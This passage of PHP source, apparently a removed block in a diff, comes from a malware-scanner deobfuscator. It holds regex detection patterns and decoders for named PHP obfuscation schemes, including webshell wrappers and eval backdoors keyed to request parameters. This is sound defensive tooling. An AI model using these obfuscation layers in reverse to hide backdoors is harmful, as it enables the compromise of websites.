- preg_match('~\$\w+=__FILE__;\$\w+=fopen\(\$\w+,\'rb\'\);fread\(\$\w+,(\d+)\);\$\w+=explode\("\\\\t",base64_decode\(fread\(\$\w+,(\d+)\)+;\$\w+=\$\w+\[[\d+]\];[\$l1=\d{}\.;\(\)\[\]]+eval\(\$\w+\(\'([^\']+)\'\)+;\s*return\s*;\?>[\w=\+]+~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $hangs = 15;
- $obfPHP = explode('?>', $str);
- $obfPHP = $obfPHP[1];
- preg_match('~eval\(\$\w+\(\'([^\']+)\'\)+;~msi', $res, $temp);
- $res = str_replace($temp[0], base64_decode($temp[1]), $res);
- $offset = $matches[2];
- while (preg_match('~\$\w+\(\$\w+,(\d+)\);\s*eval\(\$\w+\(\$\w+\(\$\w+,(\d+)\)+;~msi', $res, $temp2) && $hangs--) {
- $offset += $temp2[1];
- $decode_loop = base64_decode(substr($obfPHP, $offset, $temp2[2]));
- $offset += $temp2[2];
- if (preg_match('~eval\(\$\w+\(\'([^\']+)\'\)+;~msi', $decode_loop, $temp)) {
- $res = str_replace($temp2[0], base64_decode($temp[1]), $res);
- } else {
- $res = $decode_loop;
- }
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateUd64($str)
- {
- preg_match('~(\$ud64_c[o0]m="[\\\\0-9a-z\."]+;)+\$\w+=(\$ud64_c[o0]m\()+"([^"]+)"\)+;@eval\(\$ud64_c[o0]m\(\'[^\']+\'\)+;~msi', $str, $matches);
- $find = $matches[0];
- $res = gzinflate(convert_uudecode(base64_decode(gzinflate(base64_decode(str_rot13($matches[3]))))));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateCustom1($str)
- {
- preg_match('~\$\w+="([^"]+)";\$l+=0;\$l+=\'base64_decode\';\$l+=0;eval\(.+?;eval\(\$l+\);return;~msi', $str, $matches);
- $find = $matches[0];
- $res = Helpers::someDecoder3($matches[1]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateCustom2($str, $matches)
- {
- $find = $matches[0];
- $key = $matches[2];
- $var = $matches[3];
- preg_match_all('~\\' . $var . '\[\d+\]\s*=\s*"([^"]+)";~msi', $str, $matches);
- $res = base64_decode(Helpers::someDecoder4($matches[1], $key));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateLockIt2($str, $matches)
- {
- $find = $matches[0];
- $res = $matches[1];
- if(strpos($str, '$_X="') !== false && strpos($res, '\\x') !== false) {
- $res = stripcslashes($res);
- }
- if (preg_match_all('~\$[_\w]+\.=[\'"]([\w\+\/=]+)[\'"];~', $matches[0], $concatVars)) {
- foreach ($concatVars[1] as $concatVar) {
- $res .= $concatVar;
- }
- }
- $res = base64_decode($res);
- $res = strtr($res, $matches[2], $matches[3]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateAnaski($str, $matches)
- {
- $find = $matches[0];
- $res = gzinflate(str_rot13(base64_decode($matches[2])));
- $res = strtr($res, $matches[5], $matches[6]);
- return $res;
- }
- private function deobfuscateFuncs($str, $matches)
- {
- $find = $matches[0];
- $funcs = [];
- $payload = $matches[7];
- $var = $matches[6];
- $res = $str;
- $res = preg_replace_callback('~function\s*(\w+)\((\$\w+)\){\s*return\s*(\w+)\(\2(,\d+)?\);}\s*~msi', function($matches2) use (&$funcs){
- $funcs[$matches2[1]] = $matches2[3];
- return '';
- }, $res);
- foreach ($funcs as $k => $v) {
- $res = str_replace($k . '(', $v . '(', $res);
- }
- $res = str_replace($var . '="' . $payload . '";', '', $res);
- $res = str_replace($var, '"' . $payload . '"', $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateSubstr($str)
- {
- preg_match('~\$\w+=0;(\$GLOBALS\[\'\w+\'\])\s*=\s*\'([^\']+)\';\s*(\$\w+)=pack\(\'H\*\',substr\(\1,\s*([-\d]+)\)\);if\s*\(!function_exists\(\'(\w+)\'\)\){function\s*\5\(\$\w+,\s*\$\w+\){\$\w+=\1;\s*\$d=pack\(\'H\*\',substr\(\1,\s*\4\)\);\s*return\s*\$\w+\(substr\(\$\w+,\s*\$\w+,\s*\$\w+\)\);}};eval\(\3\(\'([^\']+)\'\)\);~msi', $str, $matches);
- $find = $matches[0];
- $substr_array = $matches[2];
- $offset = intval($matches[4]);
- $func = $matches[5];
- $eval = pack('H*',substr($substr_array, $offset));
- $res = Helpers::isSafeFunc($eval) ? @$eval($matches[6]) : $matches[6];
- $res = preg_replace_callback('~' . $func . '\(([-\d]+),\s*([-\d]+)\)~mis', function ($matches) use ($eval, $substr_array) {
- $res = Helpers::isSafeFunc($eval) ? @$eval(substr($substr_array, $matches[1], $matches[2])) : $matches[0];
- return '\'' . $res . '\'';
- }, $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscatePHPJiaMi($str, $matches)
- {
- $find = $matches[0];
- $bin = bin2hex($str);
- preg_match('~6257513127293b24[a-z0-9]{2,30}3d24[a-z0-9]{2,30}2827([a-z0-9]{2,30})27293b~', $bin, $hash);
- preg_match('~2827([a-z0-9]{2})27293a24~', $bin, $rand);
- $hash = hex2bin($hash[1]);
- $rand = hex2bin($rand[1]);
- $res = Helpers::PHPJiaMi_decoder(substr($matches[3], 0, -46), $hash, $rand);
- $res = str_rot13(@gzuncompress($res) ? @gzuncompress($res) : $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEvalIReplace($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $res = base64_decode($matches[3]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateErrorHandler($str)
- {
- preg_match('~(\$\w+)="[^"]+";\s*(\$\w+)=str_ireplace\("[^"]+","",\1\);(\$\w+)\s*=\s*"([^"]+)";\s*function\s*(\w+)\((\$\w+,?)+\){\s*(\$\w+)=\s*create_function\(\'\',\$\w+\);\s*array_map\(\7,array\(\'\'\)+;\s*}\s*set_error_handler\(\'\5\'\);(\$\w+)=\2\(\3\);user_error\(\8,E_USER_ERROR\);\s*if\s*.+?}~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $res = base64_decode($matches[4]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateStrtoupper($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $alph = $matches[2];
- $var = $matches[1];
- $res = str_replace("{$var}=\"{$alph}\";", '', $res);
- for ($i = 0, $iMax = strlen($alph); $i < $iMax; $i++) {
- $res = str_replace($var . '[' . $i . '].', "'" . $alph[$i] . "'", $res);
- $res = str_replace($var . '[' . $i . ']', "'" . $alph[$i] . "'", $res);
- }
- $res = str_replace("''", '', $res);
- $res = str_replace("' . '", '', $res);
- $res = str_replace("' '", '', $res);
- preg_match('~(\$\w+)\s*=\s*strtoupper\s*\(\s*\'(\w+)\'\s*\)\s*;~msi', $res, $matches);
- $matches[2] = strtoupper($matches[2]);
- $res = str_replace($matches[0], '', $res);
- $res = preg_replace_callback('~\${\s*\\'. $matches[1] .'\s*}~msi', function ($params) use ($matches) {
- return '$' . $matches[2];
- }, $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEval2($str)
- {
- preg_match('~(\$\w+)\s*=\s*"((?:[^"]|(?<=\\\\)")*)";(\$\w+)\s*=\s*(\1\[\d+\]\.?)+;(\$\w+)\s*=\s*[^;]+;(\$\w+)\s*=\s*"[^"]+";\$\w+\s*=\s*\5\."([^"]+)"\.\6;\3\((\1\[\d+\]\.?)+,\s*\$\w+\s*,"\d+"\);~smi', $str, $matches);
- $res = $str;
- $find = $matches[0];
- $alph = $matches[2];
- $var = $matches[1];
- for ($i = 0, $iMax = strlen($alph); $i < $iMax; $i++) {
- $res = str_replace($var . '[' . $i . '].', "'" . $alph[$i] . "'", $res);
- $res = str_replace($var . '[' . $i . ']', "'" . $alph[$i] . "'", $res);
- }
- $res = str_replace("''", '', $res);
- $res = gzinflate(base64_decode(substr($matches[7], 1, -1)));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEvalEregReplace($str, $matches)
- {
- $find = $matches[0];
- $res = base64_decode($matches[2]);
- preg_match_all('~(\$\w+)\s*=\s*ereg_replace\("([^"]+)","([^"]+)",\1\);~smi', $str, $matches, PREG_SET_ORDER);
- foreach ($matches as $match) {
- $res = preg_replace('/' . $match[2] . '/', $match[3], $res);
- }
- $res = base64_decode($res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateStrreplace($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $str_replace = '';
- $base64_decode = '';
- $layer = '';
- preg_match_all('~(\$\w+)\s*=\s*\"([^"]+)\"\s*;~msi', $str, $matches, PREG_SET_ORDER);
- foreach ($matches as $i => $match) {
- $vars[$match[1]] = $match[2];
- }
- $res = preg_replace_callback('~(\$\w+)\s*=\s*str_replace\("(\w+)",\s*"",\s*"(\w+)"\)~msi',
- function ($matches) use (&$vars, &$str_replace) {
- $vars[$matches[1]] = str_replace($matches[2], "", $matches[3]);
- if ($vars[$matches[1]] == 'str_replace') {
- $str_replace = $matches[1];
- }
- $tmp = $matches[1] . ' = "' . $vars[$matches[1]] . '"';
- return $tmp;
- }, $res);
- $res = preg_replace_callback('~(\$\w+)\s*=\s*\\' . $str_replace . '\("(\w+)",\s*"",\s*"(\w+)"\)~msi',
- function ($matches) use (&$vars, &$base64_decode) {
- $vars[$matches[1]] = str_replace($matches[2], "", $matches[3]);
- if ($vars[$matches[1]] == 'base64_decode') {
- $base64_decode = $matches[1];
- }
- $tmp = $matches[1] . ' = "' . $vars[$matches[1]] . '"';
- return $tmp;
- }, $res);
- $res = preg_replace_callback('~\\' . $base64_decode . '\(\\' . $str_replace . '\("(\w+)",\s*"",\s*([\$\w\.]+)\)~msi',
- function ($matches) use (&$vars, &$layer) {
- $tmp = explode('.', $matches[2]);
- foreach ($tmp as &$item) {
- $item = $vars[$item];
- }
- $tmp = implode('', $tmp);
- $layer = base64_decode(str_replace($matches[1], "", $tmp));
- return $matches[0];
- }, $res);
- $res = $layer;
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateSeolyzer($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $vars = array();
- $base64_decode = '';
- $layer = '';
- $gzuncompress = '';
- preg_match_all('~(\$\w+)\s*=\s*\'([^\']+)\'\s*;~msi', $str, $matches, PREG_SET_ORDER);
- foreach ($matches as $i => $match) {
- $vars[$match[1]] = $match[2];
- if ($match[2] == 'base64_decode') {
- $base64_decode = $match[1];
- }
- }
- $res = preg_replace_callback('~\s*=\s*\\' . $base64_decode . '\((\$\w+)\)~msi', function ($matches) use (&$vars, &$gzuncompress, &$layer) {
- if (isset($vars[$matches[1]])) {
- $tmp = base64_decode($vars[$matches[1]]);
- if ($tmp == 'gzuncompress') {
- $gzuncompress = $matches[1];
- }
- $vars[$matches[1]] = $tmp;
- $tmp = " = '{$tmp}'";
- } else {
- $tmp = $matches[1];
- }
- return $tmp;
- }, $res);
- if ($gzuncompress !== '') {
- $res = preg_replace_callback('~\\' . $gzuncompress . '\(\s*\\' . $base64_decode . '\((\$\w+)\)~msi',
- function ($matches) use (&$vars, $gzuncompress, &$layer) {
- if (isset($vars[$matches[1]])) {
- $tmp = gzuncompress(base64_decode($vars[$matches[1]]));
- $layer = $matches[1];
- $vars[$matches[1]] = $tmp;
- $tmp = "'{$tmp}'";
- } else {
- $tmp = $matches[1];
- }
- return $tmp;
- }, $res);
- $res = $vars[$layer];
- } else if (preg_match('~\$\w+\(\s*\\' . $base64_decode . '\((\$\w+)\)~msi', $res)) {
- $res = preg_replace_callback('~\$\w+\(\s*\\' . $base64_decode . '\((\$\w+)\)~msi',
- function ($matches) use (&$vars, &$layer) {
- if (isset($vars[$matches[1]])) {
- $tmp = base64_decode($vars[$matches[1]]);
- $layer = $matches[1];
- $vars[$matches[1]] = $tmp;
- $tmp = "'{$tmp}'";
- } else {
- $tmp = $matches[1];
- }
- return $tmp;
- }, $res);
- $res = $vars[$layer];
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateCreateFunc($str, $matches)
- {
- $find = $matches[0];
- $res = ' ?>' . gzinflate(base64_decode($matches[3]));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateCreateFuncConcat($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $vars = array();
- $res = preg_replace_callback('~(?|(\$\w+)\s*=\s*(([base64_decode\'\.\s]+)|([eval\'\.\s]+)|([create_function\'\.\s]+)|([stripslashes\'\.\s]+)|([gzinflate\'\.\s]+)|([strrev\'\.\s]+)|([str_rot13\'\.\s]+)|([gzuncompress\'\.\s]+)|([urldecode\'\.\s]+)([rawurldecode\'\.\s]+));)~', function($matches) use (&$vars) {
- $tmp = str_replace("' . '", '', $matches[0]);
- $tmp = str_replace("'.'", '', $tmp);
- $value = str_replace("' . '", '', $matches[2]);
- $value = str_replace("'.'", '', $value);
- $vars[$matches[1]] = substr($value, 1, -1);
- return $tmp;
- }, $res);
- foreach($vars as $key => $var) {
- $res = str_replace($key, $var, $res);
- $res = str_replace($var . " = '" . $var . "';", '', $res);
- $res = str_replace($var . ' = "";', '', $res);
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEvalWrapVar($str, $matches)
- {
- $find = $matches[0];
- $res = $str;
- $vars = array();
- $res = preg_replace_callback('~(?|(\$\w+)\s*=\s*(([base64_decode"\'\.\s]+)|([eval"\'\.\s]+)|([create_function"\'\.\s]+)|([stripslashes"\'\.\s]+)|([gzinflate"\'\.\s]+)|([strrev"\'\.\s]+)|([str_rot13"\'\.\s]+)|([gzuncompress"\'\.\s]+)|([urldecode"\'\.\s]+)([rawurldecode"\'\.\s]+));)~msi', function($matches) use (&$vars) {
- $tmp = str_replace("' . '", '', $matches[0]);
- $tmp = str_replace("'.'", '', $tmp);
- $value = str_replace("' . '", '', $matches[2]);
- $value = str_replace("'.'", '', $value);
- $vars[$matches[1]] = substr($value, 1, -1);
- return $tmp;
- }, $res);
- $temp = substr($res, strpos($res, '@eval'));
- $temp1 = $temp;
- foreach($vars as $key => $var) {
- $temp = str_replace($key, $var, $temp);
- }
- $res = str_replace($temp1, $temp, $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateForEach($str, $matches)
- {
- $find = $matches[0];
- $alph = $matches[3];
- $vars = array();
- $res = $str;
- preg_replace('~\s*/\*\w+\*/\s*~msi', '', $res);
- $res = preg_replace_callback('~foreach\(\[([\d,]+)\]\s*as\s*\$\w+\)\s*\{\s*(\$\w+)\s*\.=\s*\$\w+\[\$\w+\];\s*\}~mis', function($matches) use ($alph, &$vars) {
- $chars = explode(',', $matches[1]);
- $value = '';
- foreach ($chars as $char) {
- $value .= $alph[$char];
- }
- $vars[$matches[2]] = $value;
- return "{$matches[2]} = '{$value}';";
- }, $res);
- foreach($vars as $key => $var) {
- $res = str_replace($key, $var, $res);
- $res = str_replace($var . " = '" . $var . "';", '', $res);
- $res = str_replace($var . ' = "";', '', $res);
- }
- preg_match('~(\$\w+)\s*=\s*strrev\([create_function\.\']+\);~ms', $res, $matches);
- $res = str_replace($matches[0], '', $res);
- $res = str_replace($matches[1], 'create_function', $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateSubst2($str)
- {
- preg_match('~(\$\w+)="([^"])+(.{0,70}\1.{0,400})+;\s*}~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- preg_match('~(\$\w+)="(.+?)";~msi', $str, $matches);
- $alph = stripcslashes($matches[2]);
- $var = $matches[1];
- for ($i = 0, $iMax = strlen($alph); $i < $iMax; $i++) {
- $res = str_replace($var . '[' . $i . '].', "'" . $alph[$i] . "'", $res);
- $res = str_replace($var . '[' . $i . ']', "'" . $alph[$i] . "'", $res);
- }
- $res = str_replace("''", '', $res);
- preg_match_all('~(\$GLOBALS\[\'\w{1,40}\'\])\s*=\s*\'(([^\'\\\\]++|\\\\.)*)\';~msi', $res, $matches, PREG_SET_ORDER);
- foreach ($matches as $index => $var) {
- $res = str_replace($var[1], $var[2], $res);
- $res = str_replace($var[2] . " = '" . $var[2] . "';", '', $res);
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateAssert($str, $matches)
- {
- $find = $matches[0];
- $res = base64_decode($matches[3]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateUrlDecode2($str)
- {
- preg_match('~(\$[\w{1,40}]+)=(urldecode|base64_decode)\(?[\'"]([\w+%=-]+)[\'"]\);(\s*\$\w+\.?=(\$\w+\{\d+\}\s*[\.;]?\s*)+)+((\$\w+=["\']([^\'"]+)[\'"];\s*eval\(\'\?>\'\.[\$\w\(\)\*,\s]+);|(eval\(\$\w+\([\'"]([^\'"]+)[\'"]\)+;))~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- if (isset($matches[10])) {
- $res = base64_decode($matches[10]);
- }
- if (preg_match('~\$\w+=["\']([^\'"]+)[\'"];\s*eval\(\'\?>\'\.[\$\w\(\)\*,\s]+;~msi', $res, $matches)) {
- $res = base64_decode(strtr(substr($matches[1], 52*2), substr($matches[1], 52, 52), substr($matches[1], 0, 52)));
- }
- if (preg_match('~function\s*(\w+)\(\$\w+\)[\w{\$=\s*();<+\[\]\-]+\}\s+return[\$\s\w;]+}eval\(\1\("([\w\/+=]+)?"\)\);~', $res, $match)) {
- $res = gzinflate(base64_decode($match[2]));
- for ($i=0; $i < strlen($res); $i++)
- {
- $res[$i] = chr(ord($res[$i])-1);
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- $res = str_replace($find, ' ?>' . $res, $str);
- return $res;
- }
- private function deobfuscatePHPMyLicense($str)
- {
- preg_match('~\$\w+\s*=\s*base64_decode\s*\([\'"][^\'"]+[\'"]\);\s*if\s*\(!function_exists\s*\("rotencode"\)\).{0,1000}eval\s*\(\$\w+\s*\(base64_decode\s*\([\'"]([^"\']+)[\'"]\)+;~msi', $str, $matches);
- $find = $matches[0];
- $res = $str;
- $hang = 10;
- while(preg_match('~eval\s*\(\$\w+\s*\(base64_decode\s*\([\'"]([^"\']+)[\'"]\)+;~msi', $res, $matches) && $hang--) {
- $res = gzinflate(base64_decode($matches[1]));
- }
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEdoced_46esab($str)
- {
- preg_match('~(\$\w+)=[\'"]([^"\']+)[\'"];(\$\w+)=strrev\(\'edoced_46esab\'\);eval\(\3\([\'"]([^\'"]+)[\'"]\)+;~msi', $str, $matches);
- $find = $matches[0];
- $res = '';
- $decoder = base64_decode($matches[4]);
- preg_match('~(\$\w+)=base64_decode\(\$\w+\);\1=strtr\(\1,[\'"]([^\'"]+)[\'"],[\'"]([^\'"]+)[\'"]\);~msi', $decoder, $matches2);
- $res = base64_decode($matches[2]);
- $res = strtr($res, $matches2[2], $matches2[3]);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEdoced_46esab_etalfnizg($str, $matches)
- {
- return gzinflate(base64_decode($matches[3]));
- }
- private function deobfuscateEvalVarVar($str)
- {
- preg_match('~\$\{"GLOBALS"\}\[[\'"](\w+)[\'"]\]=["\'](\w+)[\'"];\$\{"GLOBALS"\}\[[\'"](\w+)[\'"]\]=["\']\2[\'"];(\${\$\{"GLOBALS"\}\[[\'"]\3[\'"]\]})=[\'"]([^\'"]+)[\'"];eval.{10,50}?(\$\{\$\{"GLOBALS"\}\[[\'"]\1[\'"]\]\})\)+;~msi', $str, $matches);
- $find = $matches[0];
- $res = str_replace($matches[4], '$' . $matches[2], $str);
- $res = str_replace($matches[6], '$' . $matches[2], $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateEscapes($str, $matches)
- {
- $find = $matches[0];
- $res = stripcslashes($str);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateparenthesesString($str)
- {
- $hangs = 5;
- $res = $str;
- $find = '';
- while (preg_match('~for\((\$\w+)=\d+,(\$\w+)=\'([^\$]+)\',(\$\w+)=\'\';@?ord\(\2\[\1\]\);\1\+\+\)\{if\(\1<\d+\)\{(\$\w+)\[\2\[\1\]\]=\1;\}else\{\$\w+\.\=@?chr\(\(\5\[\2\[\1\]\]<<\d+\)\+\(\5\[\2\[\+\+\1\]\]\)\);\}\}\s*.{0,500}eval\(\4\);(if\(isset\(\$_(GET|REQUEST|POST|COOKIE)\[[\'"][^\'"]+[\'"]\]\)\)\{[^}]+;\})?~msi', $res, $matches) && $hangs--) {
- if($hangs == 4) {
- $find = $matches[0];
- }
- $res = '';
- $temp = array();
- $matches[3] = stripcslashes($matches[3]);
- for($i=0, $iMax = strlen($matches[3]); $i < $iMax; $i++)
- {
- if($i < 16) $temp[$matches[3][$i]] = $i;
- else $res .= @chr(($temp[$matches[3][$i]]<<4) + ($temp[$matches[3][++$i]]));
- }
- }
- if(!isset($matches[6])) {
- //$xor_key = 'SjJVkE6rkRYj';
- $xor_key = $res^"\n//adjust sy"; //\n//adjust system variables";
- $res = $res ^ substr(str_repeat($xor_key, (strlen($res) / strlen($xor_key)) + 1), 0, strlen($res));
- }
- if(substr($res,0,12)=="\n//adjust sy") {
- $res = str_replace($find, $res, $str);
- return $res;
- } else return $str;
- }
- private function deobfuscateEvalInject($str, $matches)
- {
- $res = $str;
- $find = $matches[0];
- $alph = $matches[2];
- for ($i = 0, $iMax = strlen($alph); $i < $iMax; $i++) {
- $res = str_replace($matches[1] . '[' . $i . '].', "'" . $alph[$i] . "'", $res);
- $res = str_replace($matches[1] . '[' . $i . ']', "'" . $alph[$i] . "'", $res);
- }
- $res = str_replace("''", '', $res);
- $res = str_replace("' '", '', $res);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateWebshellObf($str)
- {
- $res = $str;
- preg_match('~function\s*(\w{1,40})\s*\(\s*(\$\w{1,40})\s*,\s*(\$\w{1,40})\s*\)\s*\{\s*(\$\w{1,40})\s*=\s*str_rot13\s*\(\s*gzinflate\s*\(\s*str_rot13\s*\(\s*base64_decode\s*\(\s*[\'"]([^\'"]*)[\'"]\s*\)\s*\)\s*\)\s*\)\s*;\s*(if\s*\(\s*\$\w+\s*==[\'"][^\'"]*[\'"]\s*\)\s*\{\s*(\$\w{1,40})\s*=(\$\w+[\{\[]\d+[\}\]]\.?)+;return\s*(\$\w+)\(\3\);\s*\}\s*else\s*)+\s*if\s*\(\s*\$\w+\s*==[\'"][^\'"]*[\'"]\s*\)\s*\{\s*return\s*eval\(\3\);\s*\}\s*\};\s*(\$\w{1,40})\s*=\s*[\'"][^\'"]*[\'"];(\s*\10\([\'"][^\'"]*[\'"],)+\s*[\'"]([^\'"]*)[\'"]\s*\)+;~msi',$str, $matches);
- $find = $matches[0];
- $alph = str_rot13(gzinflate(str_rot13(base64_decode($matches[5]))));
- for ($i = 0, $iMax = strlen($alph); $i < $iMax; $i++) {
- $res = str_replace($matches[4] . '{' . $i . '}.', "'" . $alph[$i] . "'", $res);
- $res = str_replace($matches[4] . '{' . $i . '}', "'" . $alph[$i] . "'", $res);
- }
- $res = str_replace("''", '', $res);
- $res = base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(strrev($matches[12])))))));
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateXorFName($str, $matches)
- {
- $find = $matches[0];
- $xored = rawurldecode($matches[3]);
- $xor_key = $xored ^ 'if (!defined(';
- $php = $xored ^ substr(str_repeat($xor_key, (strlen($matches[3]) / strlen($xor_key)) + 1), 0, strlen($matches[3]));
- preg_match('~\$\w{1,40}\s*=\s*((\'[^\']+\'\s*\.?\s*)+);\s*\$\w+\s*=\s*Array\(((\'\w\'=>\'\w\',?\s*)+)\);~msi', $php, $matches);
- $matches[1] = str_replace(array(" ", "\r", "\n", "\t", "'.'"), '', $matches[1]);
- $matches[3] = str_replace(array(" ", "'", ">"), '', $matches[3]);
- $temp = explode(',', $matches[3]);
- $array = array();
- foreach ($temp as $value) {
- $temp = explode("=", $value);
- $array[$temp[0]] = $temp[1];
- }
- $res = '';
- for ($i=0, $iMax = strlen($matches[1]); $i < $iMax; $i++) {
- $res .= isset($array[$matches[1][$i]]) ? $array[$matches[1][$i]] : $matches[1][$i];
- }
- $res = substr(rawurldecode($res), 1, -2);
- $res = str_replace($find, $res, $str);
- return $res;
- }
- private function deobfuscateSubstCreateFunc($str)
- {
- preg_match('~(\$\w{1,40})=\'(([^\'\\\\]|\\\\.)*)\';\s*((\$\w{1,40})=(\1\[\d+].?)+;\s*)+(\$\w{1,40})=\'\';\s*(\$\w{1,40})\(\7,\$\w{1,40}\.\"([^\"]+)\"\.\$\w{1,40}\.\5\);~msi', $str, $matches);
- $find = $matches[0];
- $php = base64_decode($matches[9]);
- preg_match('~(\$\w{1,40})=(\$\w{1,40})\("([^\']+)"\)~msi', $php, $matches);
- $matches[3] = base64_decode($matches[3]);
- $php = '';
- for ($i = 1, $iMax = strlen($matches[3]); $i < $iMax; $i++) {
- if ($i % 2) {
- $php .= substr($matches[3], $i, 1);
- }
- }
- $php = str_replace($find, $php, $str);
- return $php;
- }
- private function deobfuscateZeura($str, $matches)
- {
- $offset = intval($matches[8]) + intval($matches[9]);
- $obfPHP = explode('__halt_compiler();', $str);
- $obfPHP = end($obfPHP);
- $php = gzinflate(base64_decode(substr(trim($obfPHP), $offset)));
- $php = stripcslashes($php);
- $php = str_replace($matches[0], $php, $str);
- return $php;
- }
- private function deobfuscateSourceCop($str, $matches)
- {
- $key = $matches[2];
- $obfPHP = $matches[1];
- $res = '';
- $index = 0;
- $len = strlen($key);
- $temp = hexdec('&H' . substr($obfPHP, 0, 2));
- for ($i = 2, $iMax = strlen($obfPHP); $i < $iMax; $i += 2) {
- $bytes = hexdec(trim(substr($obfPHP, $i, 2)));
- $index = (($index < $len) ? $index + 1 : 1);
- $decoded = $bytes ^ ord(substr($key, $index - 1, 1));
- if ($decoded <= $temp) {
- $decoded = 255 + $decoded - $temp;
- } else {
- $decoded = $decoded - $temp;
- }
- $res = $res . chr($decoded);
- $temp = $bytes;
- }
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscateGlobalsArray($str, $matches)
- {
- $res = $str;
- $alph = stripcslashes($matches[3]);
- $res = preg_replace('~\${"[\\\\x0-9a-f]+"}\[\'\w+\'\]\s*=\s*"[\\\\x0-9a-f]+";~msi', '', $res);
- for ($i = 0, $iMax = strlen($alph); $i < $iMax; $i++) {
- $res = str_replace($matches[1] .'[' . $matches[2] . ']' . '[' . $i . '].', "'" . $alph[$i] . "'", $res);
- $res = str_replace($matches[1] .'[' . $matches[2] . ']' . '[' . $i . ']', "'" . $alph[$i] . "'", $res);
- }
- $res = str_replace("''", '', $res);
- preg_match_all('~\\' . $matches[1] . '\[(\'\w+\')]\s*=\s*\'(\w+)\';~msi', $res, $funcs);
- $vars = $funcs[1];
- $func = $funcs[2];
- foreach ($vars as $index => $var) {
- $res = str_replace($matches[1] . '[' . $var . ']', $func[$index], $res);
- }
- foreach ($func as $remove) {
- $res = str_replace($remove . " = '" . $remove . "';", '', $res);
- $res = str_replace($remove . "='" . $remove . "';", '', $res);
- }
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscateXbrangwolf($str, $match)
- {
- return $match[0];
- }
- private function deobfuscateObfB64($str, $matches)
- {
- $res = base64_decode($matches[3]);
- $res = str_replace($matches[0], $res, $str);
- return $res;
- }
- private function deobfuscateArrayOffsets($str)
- {
- $vars = array();
- preg_match('~(\$\w{1,40})\s*=\s*\'([^\']*)\';\s*(\$\w{1,40})\s*=\s*explode\s*\((chr\s*\(\s*\(\d+\-\d+\)\)),substr\s*\(\1,\s*\((\d+\-\d+)\),\s*\(\s*(\d+\-\d+)\)\)\);.+\1\s*=\s*\$\w+[+\-\*]\d+;~msi', $str, $matches);
- $find = $matches[0];
- $obfPHP = $matches[2];
- $matches[4] = Helpers::calc($matches[4]);
- $matches[5] = intval(Helpers::calc($matches[5]));
- $matches[6] = intval(Helpers::calc($matches[6]));
- $func = explode($matches[4], strtolower(substr($obfPHP, $matches[5], $matches[6])));
- $func[1] = strrev($func[1]);
- $func[2] = strrev($func[2]);
- preg_match('~\$\w{1,40}\s=\sexplode\((chr\(\(\d+\-\d+\)\)),\'([^\']+)\'\);~msi', $str, $matches);
- $matches[1] = Helpers::calc($matches[1]);
- $offsets = explode($matches[1], $matches[2]);
- $res = '';
- for ($i = 0; $i < (sizeof($offsets) / 2); $i++) {
- $res .= substr($obfPHP, $offsets[$i * 2], $offsets[($i * 2) + 1]);
- }
- preg_match('~return\s*\$\w{1,40}\((chr\(\(\d+\-\d+\)\)),(chr\(\(\d+\-\d+\)\)),\$\w{1,40}\);~msi', $str, $matches);
- $matches[1] = Helpers::calc($matches[1]);
- $matches[2] = Helpers::calc($matches[2]);
- $res = Helpers::stripsquoteslashes(str_replace($matches[1], $matches[2], $res));
- $res = "<?php\n" . $res . "?>";
- preg_match('~(\$\w{1,40})\s=\simplode\(array_map\(\"[^\"]+\",str_split\(\"(([^\"\\\\]++|\\\\.)*)\"\)\)\);(\$\w{1,40})\s=\s\$\w{1,40}\(\"\",\s\1\);\s\4\(\);~msi', $res, $matches);
- $matches[2] = stripcslashes($matches[2]);
- for ($i=0, $iMax = strlen($matches[2]); $i < $iMax; $i++) {
- $matches[2][$i] = chr(ord($matches[2][$i])-1);
- }
- $res = str_replace($matches[0], $matches[2], $res);
- preg_match_all('~(\$\w{1,40})\s*=\s*\"(([^\"\\\\]++|\\\\.)*)\";~msi', $res, $matches, PREG_SET_ORDER);
